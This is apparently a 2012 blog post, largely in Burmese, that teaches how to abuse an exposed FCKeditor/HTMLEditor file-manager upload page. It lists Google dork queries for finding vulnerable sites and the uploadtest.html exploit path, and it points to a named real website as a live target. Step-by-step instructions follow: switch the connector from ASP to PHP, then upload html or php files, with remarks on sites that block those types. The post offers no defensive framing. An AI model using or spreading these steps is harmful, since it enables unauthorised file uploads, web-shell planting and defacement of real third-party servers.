Google Dork : inurl:/HTMLEditor/editor/
or "inurl:/HTMLEditor/editor//filemanager/"
or "inurl:/HTMLEditor/editor//filemanager//connectors/"
Exploit : http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html
or http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html
ကဲဥပမာအေန နဲ ့
http://www.relationshiptrends.com/affiliate/fckeditor/editor/filemanager/connectors/uploadtest.html
ကိုသြားလုိက္ပါ...
ေအာက္ ပုံအတုိင္းျမင္ရပါလိမ့္မယ္...
ASP ဆုိတဲ့ေနရာကို php ေျပာင္းလုိက္ပါ။..
ျပီးရင္ တင္ခ်င္တဲ့ဖုိင္ကို တင္နုိင္ပါတယ္..
အမ်ား အားျဖင့္ေတာ့ html, php , txt , jpg , png ေတြ တင္လုိ ့ရနုိင္ပါတယ္..
ဒါေပမယ့္ တစ္ခ်ဳိ ့ဆုိဒ္ေတြမွာေတာ့ html , php ဖုိင္ေတြတင္ ခြင့္ပိတ္ထားပါတယ္...
အခု ကြ်န္ေတာ္ဥပမာ ျပတဲ့ဆုိဒ္ပာာလည္း အဲ့ဖုိင္ နမည္မ်ဳိးကို တင္ခြင့္ပိတ္ထားပါတယ္..
ဖုိင္တင္ျပီးရင္္ file no error ဆုိလာျပမယ္ ေအာက္က ပုံေလးကို ဆက္ၾကည့္လုိက္ပါ...
Friday, May 18, 2012
Html editor File Upload vulnerability
Subscribe to:
Post Comments (Atom)
0 comments:
Post a Comment